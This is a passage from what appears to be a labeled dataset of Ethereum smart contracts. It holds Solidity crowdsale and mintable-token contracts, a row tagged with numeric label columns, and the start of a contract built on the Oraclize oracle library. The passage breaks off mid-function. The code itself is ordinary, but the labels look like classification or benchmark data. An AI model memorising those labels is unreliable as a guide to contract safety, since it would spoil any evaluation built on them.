return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else return State.Failure;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken);
function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableTokenExt is StandardToken, Ownable {
using SafeMathLibExt for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
struct ReservedTokensData {
uint inTokens;
uint inPercentageUnit;
uint inPercentageDecimals;
bool isReserved;
bool isDistributed;
}
mapping (address => ReservedTokensData) public reservedTokensList;
address[] public reservedTokensDestinations;
uint public reservedTokensDestinationsLen = 0;
bool reservedTokensDestinationsAreSet = false;
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
function finalizeReservedAddress(address addr) public onlyMintAgent canMint {
ReservedTokensData storage reservedTokensData = reservedTokensList[addr];
reservedTokensData.isDistributed = true;
}
function isAddressReserved(address addr) public constant returns (bool isReserved) {
return reservedTokensList[addr].isReserved;
}
function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) {
return reservedTokensList[addr].isDistributed;
}
function getReservedTokens(address addr) public constant returns (uint inTokens) {
return reservedTokensList[addr].inTokens;
}
function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) {
return reservedTokensList[addr].inPercentageUnit;
}
function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) {
return reservedTokensList[addr].inPercentageDecimals;
}
function setReservedTokensListMultiple(
address[] addrs,
uint[] inTokens,
uint[] inPercentageUnit,
uint[] inPercentageDecimals
) public canMint onlyOwner {
assert(!reservedTokensDestinationsAreSet);
assert(addrs.length == inTokens.length);
assert(inTokens.length == inPercentageUnit.length);
assert(inPercentageUnit.length == inPercentageDecimals.length);
for (uint iterator = 0; iterator < addrs.length; iterator++) {
if (addrs[iterator] != address(0)) {
setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]);
}
}
reservedTokensDestinationsAreSet = true;
}
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner {
assert(addr != address(0));
if (!isAddressReserved(addr)) {
reservedTokensDestinations.push(addr);
reservedTokensDestinationsLen++;
}
reservedTokensList[addr] = ReservedTokensData({
inTokens: inTokens,
inPercentageUnit: inPercentageUnit,
inPercentageDecimals: inPercentageDecimals,
isReserved: true,
isDistributed: false
});
}
}
contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt {
uint public maximumSellableTokens;
function MintedTokenCappedCrowdsaleExt(
string _name,
address _token,
PricingStrategy _pricingStrategy,
address _multisigWallet,
uint _start, uint _end,
uint _minimumFundingGoal,
uint _maximumSellableTokens,
bool _isUpdatable,
bool _isWhiteListed
) CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) {
maximumSellableTokens = _maximumSellableTokens;
}
event MaximumSellableTokensChanged(uint newMaximumSellableTokens);
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken) {
return tokensSoldTotal > maximumSellableTokens;
}
function isBreakingInvestorCap(address addr, uint tokenAmount) public constant returns (bool limitBroken) {
assert(isWhiteListed);
uint maxCap = earlyParticipantWhitelist[addr].maxCap;
return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return tokensSold >= maximumSellableTokens;
}
function setMaximumSellableTokens(uint tokens) public onlyOwner {
assert(!finalized);
assert(isUpdatable);
assert(now <= startsAt);
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
assert(!lastTierCntrct.finalized());
maximumSellableTokens = tokens;
MaximumSellableTokensChanged(maximumSellableTokens);
}
function updateRate(uint newOneTokenInWei) public onlyOwner {
assert(!finalized);
assert(isUpdatable);
assert(now <= startsAt);
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
assert(!lastTierCntrct.finalized());
pricingStrategy.updateRate(newOneTokenInWei);
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableTokenExt mintableToken = MintableTokenExt(token);
mintableToken.mint(receiver, tokenAmount);
}
} | 0 | 1,495 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity >= 0.4.22 < 0.5;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
oraclize = OraclizeI(0);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
